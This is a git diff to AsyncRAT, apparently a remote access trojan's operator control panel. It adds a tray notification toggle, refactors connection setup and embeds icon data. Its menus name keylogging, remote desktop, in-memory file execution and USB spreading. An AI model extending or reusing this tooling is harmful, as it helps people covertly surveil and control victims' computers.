diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/App.config b/AsyncRAT-C#/AsyncRAT-Sharp/App.config
index f9cc18d..bc11de2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/App.config
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/App.config
@@ -22,6 +22,12 @@
+
+ False
+
+
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
index f576686..4fc0d12 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
@@ -231,6 +231,7 @@
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
index c33c667..8b1678f 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
@@ -70,13 +70,16 @@
this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.tabPage3 = new System.Windows.Forms.TabPage();
+ this.listView3 = new System.Windows.Forms.ListView();
this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.sTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
this.performanceCounter1 = new System.Diagnostics.PerformanceCounter();
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
- this.listView3 = new System.Windows.Forms.ListView();
+ this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
+ this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components);
+ this.notificationOFFToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.tabControl1.SuspendLayout();
@@ -86,6 +89,7 @@
this.contextMenuStrip2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).BeginInit();
+ this.contextMenuStrip3.SuspendLayout();
this.SuspendLayout();
//
// listView1
@@ -151,7 +155,7 @@
//
// contextMenuStrip1
//
- this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
+ this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(18, 18);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.cLIENTOPTIONSToolStripMenuItem,
this.toolStripSeparator1,
@@ -170,7 +174,7 @@
this.toolStripSeparator3,
this.aBOUTToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
- this.contextMenuStrip1.Size = new System.Drawing.Size(283, 412);
+ this.contextMenuStrip1.Size = new System.Drawing.Size(277, 412);
//
// cLIENTOPTIONSToolStripMenuItem
//
@@ -181,47 +185,47 @@
this.uNISTALLToolStripMenuItem});
this.cLIENTOPTIONSToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client;
this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem";
- this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.cLIENTOPTIONSToolStripMenuItem.Text = "CLIENT OPTIONS";
//
// cLOSEToolStripMenuItem
//
this.cLOSEToolStripMenuItem.Name = "cLOSEToolStripMenuItem";
- this.cLOSEToolStripMenuItem.Size = new System.Drawing.Size(173, 30);
+ this.cLOSEToolStripMenuItem.Size = new System.Drawing.Size(252, 30);
this.cLOSEToolStripMenuItem.Text = "CLOSE";
this.cLOSEToolStripMenuItem.Click += new System.EventHandler(this.cLOSEToolStripMenuItem_Click);
//
// rESTARTToolStripMenuItem
//
this.rESTARTToolStripMenuItem.Name = "rESTARTToolStripMenuItem";
- this.rESTARTToolStripMenuItem.Size = new System.Drawing.Size(173, 30);
+ this.rESTARTToolStripMenuItem.Size = new System.Drawing.Size(252, 30);
this.rESTARTToolStripMenuItem.Text = "RESTART";
this.rESTARTToolStripMenuItem.Click += new System.EventHandler(this.RESTARTToolStripMenuItem_Click);
//
// uPDATEToolStripMenuItem
//
this.uPDATEToolStripMenuItem.Name = "uPDATEToolStripMenuItem";
- this.uPDATEToolStripMenuItem.Size = new System.Drawing.Size(173, 30);
+ this.uPDATEToolStripMenuItem.Size = new System.Drawing.Size(252, 30);
this.uPDATEToolStripMenuItem.Text = "UPDATE";
this.uPDATEToolStripMenuItem.Click += new System.EventHandler(this.uPDATEToolStripMenuItem_Click);
//
// uNISTALLToolStripMenuItem
//
this.uNISTALLToolStripMenuItem.Name = "uNISTALLToolStripMenuItem";
- this.uNISTALLToolStripMenuItem.Size = new System.Drawing.Size(173, 30);
+ this.uNISTALLToolStripMenuItem.Size = new System.Drawing.Size(252, 30);
this.uNISTALLToolStripMenuItem.Text = "UNISTALL";
this.uNISTALLToolStripMenuItem.Click += new System.EventHandler(this.uNISTALLToolStripMenuItem_Click);
//
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
- this.toolStripSeparator1.Size = new System.Drawing.Size(279, 6);
+ this.toolStripSeparator1.Size = new System.Drawing.Size(273, 6);
//
// vISITWEBSITEToolStripMenuItem
//
this.vISITWEBSITEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.visit;
this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem";
- this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.vISITWEBSITEToolStripMenuItem.Text = "VISIT WEBSITE";
this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click);
//
@@ -229,7 +233,7 @@
//
this.sENDMESSAGEBOXToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox;
this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem";
- this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.sENDMESSAGEBOXToolStripMenuItem.Text = "SEND MESSAGEBOX";
this.sENDMESSAGEBOXToolStripMenuItem.Click += new System.EventHandler(this.sENDMESSAGEBOXToolStripMenuItem_Click);
//
@@ -237,7 +241,7 @@
//
this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem;
this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem";
- this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK";
this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1);
//
@@ -245,7 +249,7 @@
//
this.sENDFILETOMEMORYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem1;
this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem";
- this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
//
@@ -253,7 +257,7 @@
//
this.rEMOTEDESKTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop;
this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem";
- this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP";
this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click);
//
@@ -261,7 +265,7 @@
//
this.kEYLOGGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.logger;
this.kEYLOGGERToolStripMenuItem.Name = "kEYLOGGERToolStripMenuItem";
- this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.kEYLOGGERToolStripMenuItem.Text = "KEYLOGGER";
this.kEYLOGGERToolStripMenuItem.Click += new System.EventHandler(this.KEYLOGGERToolStripMenuItem_Click);
//
@@ -269,7 +273,7 @@
//
this.fILEMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager;
this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem";
- this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER";
this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click);
//
@@ -277,7 +281,7 @@
//
this.pROCESSMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.process;
this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem";
- this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER";
this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click);
//
@@ -285,7 +289,7 @@
//
this.bOTKILLERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller;
this.bOTKILLERToolStripMenuItem.Name = "bOTKILLERToolStripMenuItem";
- this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.bOTKILLERToolStripMenuItem.Text = "BOT KILLER";
this.bOTKILLERToolStripMenuItem.Click += new System.EventHandler(this.BOTKILLERToolStripMenuItem_Click);
//
@@ -293,33 +297,33 @@
//
this.uSBSPREADToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.usb;
this.uSBSPREADToolStripMenuItem.Name = "uSBSPREADToolStripMenuItem";
- this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.uSBSPREADToolStripMenuItem.Text = "USB SPREAD";
this.uSBSPREADToolStripMenuItem.Click += new System.EventHandler(this.USBSPREADToolStripMenuItem_Click);
//
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
- this.toolStripSeparator2.Size = new System.Drawing.Size(279, 6);
+ this.toolStripSeparator2.Size = new System.Drawing.Size(273, 6);
//
// bUILDERToolStripMenuItem
//
this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder;
this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem";
- this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.bUILDERToolStripMenuItem.Text = "BUILDER";
this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click);
//
// toolStripSeparator3
//
this.toolStripSeparator3.Name = "toolStripSeparator3";
- this.toolStripSeparator3.Size = new System.Drawing.Size(279, 6);
+ this.toolStripSeparator3.Size = new System.Drawing.Size(273, 6);
//
// aBOUTToolStripMenuItem
//
this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info;
this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem";
- this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(282, 30);
+ this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(276, 30);
this.aBOUTToolStripMenuItem.Text = "ABOUT";
this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click);
//
@@ -425,6 +429,19 @@
this.tabPage3.Text = "Thumbnail";
this.tabPage3.UseVisualStyleBackColor = true;
//
+ // listView3
+ //
+ this.listView3.ContextMenuStrip = this.contextMenuStrip2;
+ this.listView3.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.listView3.LargeImageList = this.imageList1;
+ this.listView3.Location = new System.Drawing.Point(0, 0);
+ this.listView3.Name = "listView3";
+ this.listView3.ShowItemToolTips = true;
+ this.listView3.Size = new System.Drawing.Size(1160, 402);
+ this.listView3.SmallImageList = this.imageList1;
+ this.listView3.TabIndex = 0;
+ this.listView3.UseCompatibleStateImageBehavior = false;
+ //
// contextMenuStrip2
//
this.contextMenuStrip2.ImageScalingSize = new System.Drawing.Size(24, 24);
@@ -467,18 +484,27 @@
this.performanceCounter2.CategoryName = "Memory";
this.performanceCounter2.CounterName = "% Committed Bytes In Use";
//
- // listView3
+ // notifyIcon1
//
- this.listView3.ContextMenuStrip = this.contextMenuStrip2;
- this.listView3.Dock = System.Windows.Forms.DockStyle.Fill;
- this.listView3.LargeImageList = this.imageList1;
- this.listView3.Location = new System.Drawing.Point(0, 0);
- this.listView3.Name = "listView3";
- this.listView3.ShowItemToolTips = true;
- this.listView3.Size = new System.Drawing.Size(1160, 402);
- this.listView3.SmallImageList = this.imageList1;
- this.listView3.TabIndex = 0;
- this.listView3.UseCompatibleStateImageBehavior = false;
+ this.notifyIcon1.ContextMenuStrip = this.contextMenuStrip3;
+ this.notifyIcon1.Icon = ((System.Drawing.Icon)(resources.GetObject("notifyIcon1.Icon")));
+ this.notifyIcon1.Text = "AsyncRAT";
+ this.notifyIcon1.Visible = true;
+ //
+ // contextMenuStrip3
+ //
+ this.contextMenuStrip3.ImageScalingSize = new System.Drawing.Size(24, 24);
+ this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.notificationOFFToolStripMenuItem});
+ this.contextMenuStrip3.Name = "contextMenuStrip3";
+ this.contextMenuStrip3.Size = new System.Drawing.Size(224, 34);
+ //
+ // notificationOFFToolStripMenuItem
+ //
+ this.notificationOFFToolStripMenuItem.Name = "notificationOFFToolStripMenuItem";
+ this.notificationOFFToolStripMenuItem.Size = new System.Drawing.Size(223, 30);
+ this.notificationOFFToolStripMenuItem.Text = "Notification [OFF]";
+ this.notificationOFFToolStripMenuItem.Click += new System.EventHandler(this.NotificationOFFToolStripMenuItem_Click);
//
// Form1
//
@@ -504,6 +530,7 @@
this.contextMenuStrip2.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).EndInit();
+ this.contextMenuStrip3.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
@@ -558,6 +585,9 @@
private System.Windows.Forms.ToolStripMenuItem sTOPToolStripMenuItem;
public System.Windows.Forms.ImageList imageList1;
public System.Windows.Forms.ListView listView3;
+ public System.Windows.Forms.NotifyIcon notifyIcon1;
+ private System.Windows.Forms.ContextMenuStrip contextMenuStrip3;
+ private System.Windows.Forms.ToolStripMenuItem notificationOFFToolStripMenuItem;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index 250ff23..58cf9c6 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -67,18 +67,25 @@ namespace AsyncRAT_Sharp
private async void Form1_Load(object sender, EventArgs e)
{
Text = $"{Settings.Version}";
- FormPorts portsFrm = new FormPorts();
- portsFrm.ShowDialog();
+ using (FormPorts portsFrm = new FormPorts())
+ {
+ portsFrm.ShowDialog();
+ Settings.Port = portsFrm.textPorts.Text;
+ Settings.Password = portsFrm.textPassword.Text;
+ Settings.AES = new Aes256(Settings.Password);
+ }
await Methods.FadeIn(this, 5);
trans = true;
- Settings.Port = portsFrm.textPorts.Text;
- Settings.Password = portsFrm.textPassword.Text;
- Settings.AES = new Aes256(Settings.Password);
- portsFrm.Dispose();
- string[] ports = Settings.Port.Split(',');
+
+ Connect();
+ }
+
+ private void Connect()
+ {
try
{
+ string[] ports = Settings.Port.Split(',');
foreach (var port in ports)
{
if (!string.IsNullOrWhiteSpace(port))
@@ -96,10 +103,9 @@ namespace AsyncRAT_Sharp
Environment.Exit(0);
}
}
-
-
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
+ notifyIcon1.Dispose();
Environment.Exit(0);
}
@@ -407,9 +413,10 @@ namespace AsyncRAT_Sharp
private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
{
- FormBuilder formBuilder = new FormBuilder();
- formBuilder.ShowDialog();
- formBuilder.Dispose();
+ using( FormBuilder formBuilder = new FormBuilder())
+ {
+ formBuilder.ShowDialog();
+ }
}
private void fILEMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
@@ -615,5 +622,20 @@ namespace AsyncRAT_Sharp
}
catch { }
}
+
+ private void NotificationOFFToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ if (notificationOFFToolStripMenuItem.Text.Contains("[ON]"))
+ {
+ notificationOFFToolStripMenuItem.Text = "Notification is currently [OFF]";
+ Properties.Settings.Default.Notification = false;
+ }
+ else
+ {
+ notificationOFFToolStripMenuItem.Text = "Notification is currently [ON]";
+ Properties.Settings.Default.Notification = true;
+ }
+ Properties.Settings.Default.Save();
+ }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
index ae76e9b..94d585d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
@@ -141,7 +141,469 @@
871, 17
+
+ 1479, 17
+
+
+ 17, 65
+
+
+
+ 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
+ O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
+ 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
+ AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
+ AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
+ AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
+ AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
+ wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
+ ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
+ x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
+ Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
+ AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
+ Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
+ AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
+ /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
+ AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
+ AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
+ tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
+ DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
+ AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
+ AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
+ AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
+ AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
+ AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
+ AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
+ ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
+ AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
